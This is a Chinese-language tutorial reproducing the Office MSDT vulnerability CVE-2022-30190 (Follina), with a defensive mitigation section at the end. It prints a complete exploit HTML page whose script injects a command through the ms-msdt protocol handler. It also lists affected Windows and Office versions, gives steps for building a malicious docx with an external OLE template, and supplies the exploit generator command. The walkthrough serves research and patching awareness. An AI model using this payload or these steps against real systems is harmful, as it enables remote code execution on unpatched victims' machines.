一、CVE-2022-30190介绍
当然从后面exploit.html源码看的确是：
<!doctype html>
<html lang="en">
<head>
<title>
Good thing we disabled macros
</title>
</head>
<body>
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.
Curabitur rutrum leo tortor, venenatis fermentum ex porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifend nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu ligula, venenatis aliquam tristique ut, pretium quis velit.
Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique ante, dignissim convallis ligula. Aenean quis felis dolor. In quis lectus massa. Pellentesque quis pretium massa. Vivamus facilisis ultricies massa ac commodo. Nam nec congue magna. Nullam laoreet justo ut vehicula lobortis.
Aliquam rutrum orci tortor, non porta odio feugiat eu. Vivamus nulla mauris, eleifend eu egestas scelerisque, vulputate id est. Proin rutrum nec metus convallis ornare. Ut ultricies ante et dictum imperdiet. Ut nisl magna, porttitor nec odio non, dapibus maximus nibh. Integer lorem felis, accumsan a dapibus hendrerit, maximus nec leo. Vestibulum porta, orci sed dignissim porta, sem justo porta odio, quis rutrum tortor arcu quis massa. Aenean eleifend nisi a quam faucibus, quis scelerisque lectus condimentum. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non dui nec odio finibus molestie. Suspendisse id massa nunc. Sed ultricies et sapien vel fringilla.
</p>
<p>
Donec tincidunt ac justo et iaculis. Pellentesque lacinia, neque at consectetur porttitor, leo eros bibendum lorem, eu sollicitudin dolor urna pharetra augue. Pellentesque facilisis orci quis ante tempor, ac varius eros blandit. Nulla vulputate, purus eu consectetur ullamcorper, mauris nulla commodo dolor, in maximus purus mi eget purus. In mauris diam, imperdiet ac dignissim ut, mollis in purus. In congue volutpat tortor eu auctor. Nullam a eros lectus. Aenean porta semper quam ac lacinia. Curabitur interdum, nisl eu laoreet tempus, augue nisl volutpat odio, dictum aliquam massa orci sit amet magna.
Duis pulvinar vitae neque non placerat. Nullam at dui diam. In hac habitasse platea dictumst. Sed quis mattis libero. Nullam sit amet condimentum est. Nulla eget blandit elit. Nunc facilisis erat nec ligula ultrices, malesuada mollis ex porta. Phasellus iaculis lorem eu augue tincidunt, in ultrices massa suscipit. Donec gravida sapien ac dui interdum cursus. In finibus eu dolor sit amet porta. Sed ultrices nisl dui, at lacinia lectus porttitor ut.
Ut ac viverra risus. Suspendisse lacus nunc, porttitor facilisis mauris ut, ullamcorper gravida dolor. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus sollicitudin, arcu id sagittis facilisis, turpis dolor eleifend massa, in maximus sapien dui et tortor. Quisque varius enim sed enim venenatis tempor. Praesent quis volutpat lorem. Pellentesque ac venenatis lacus, vitae commodo odio. Sed in metus at libero viverra mollis sed vitae nibh. Sed at semper lectus.
</p>
<p>
Proin a interdum justo. Duis sed dui vitae ex molestie egestas et tincidunt neque. Fusce lectus tellus, pharetra id ex at, consectetur hendrerit nibh. Nulla sit amet commodo risus. Nulla sed dapibus ante, sit amet fringilla dui. Nunc lectus mauris, porttitor quis eleifend nec, suscipit sit amet massa. Vivamus in lectus erat. Nulla facilisi. Vivamus sed massa quis arcu egestas vehicula. Nulla massa lorem, tincidunt sed feugiat quis, faucibus a risus. Sed viverra turpis sit amet metus iaculis finibus.
Morbi convallis fringilla tortor, at consequat purus vulputate sit amet. Morbi a ultricies risus, id maximus purus. Fusce aliquet tortor id ante ornare, non auctor tortor luctus. Quisque laoreet, sem id porttitor eleifend, eros eros suscipit lectus, id facilisis lorem lorem nec nibh. Nullam venenatis ornare ornare. Donec varius ex ac faucibus condimentum. Aenean ultricies vitae mauris cursus ornare. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas aliquet felis vel nulla auctor, ac tempor mi mattis. Nam accumsan nisi vulputate, vestibulum nisl at, gravida erat. Nam diam metus, tempor id sapien eu, porta luctus felis. Aliquam luctus vitae tortor quis consectetur. In rutrum neque sit amet fermentum rutrum. Sed a velit at metus pretium tincidunt tristique eget nibh. In ultricies, est ut varius pulvinar, magna purus tristique arcu, et laoreet purus elit ac lectus. Ut venenatis tempus magna, non varius augue consectetur ut.
Etiam elit risus, ullamcorper cursus nisl at, ultrices aliquet turpis. Maecenas vitae odio non dolor venenatis varius eu ac sem. Phasellus id tortor tellus. Ut vehicula, justo ac porta facilisis, mi sapien efficitur ipsum, sit fusce.
</p>
<script>
location.href = “ms-msdt:/id PCWDiagnostic /skip force /param \”IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(\\windows\\system32\\calc)/.exe\””;
</script>
</body>
</html>
核心：location.href = “ms-msdt:/id PCWDiagnostic /skip force /param “IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(\windows\system32\calc)/.exe““;
二、影响版本
几乎可以说覆盖所有常用的windows操作系统了，可见这个漏洞还是非常危险的
windows版本
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server 2022 Azure Edition Core Hotpatch
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
office版本
目前已知影响的版本为：
office 2021 Lts
office 2019
office 2016
Office 2013
Office ProPlus
Office 365
三、复现步骤
1.payload下载
地址：
https://github.com/chvancooten/follina.py2.复现
2.1 在存放payload的文件夹下
1）首先生成一个插入了OLE链接的docx文档。新建一个docx后缀的word文档。
2）使用office word打开新建的文件，插入OLE链接。
具体插入流程为顶部工具栏 插入-对象
3）将word目录下_res文件下的document.xml.rels复制出来；在1）中文件创建src文件夹并将复制出来的document.xml.rels加上.tpl后缀，内容修改为
<Relationship Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="{payload_url}!" TargetMode="External"/>
4）在创建www文件夹
5）创建exploit.html文件，内容在文章最前面；将exploit.html加后缀.tpl放入src目录下
6）在存放payload的文件夹下打开cmd，输入命令：
python .\follina.py -t docx -m binary -b calc.exe -P 8081
打开生成的文件，复现成功
补充
https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed已完善的生成文件脚本
四、防范修复
目前已有官方的补丁
但是可以禁用 MSDT URL 协议可防止故障排除程序作为链接启动，包括整个操作系统的链接。仍然可以使用“获取帮助”应用程序和系统设置中的其他或附加故障排除程序来访问故障排除程序。请按照以下步骤禁用：
以管理员身份运行命令提示符。
要备份注册表项，请执行命令“reg export HKEY_CLASSES_ROOT\ms-msdt filename ”
执行命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。
如何撤消解决方法
以管理员身份运行命令提示符。
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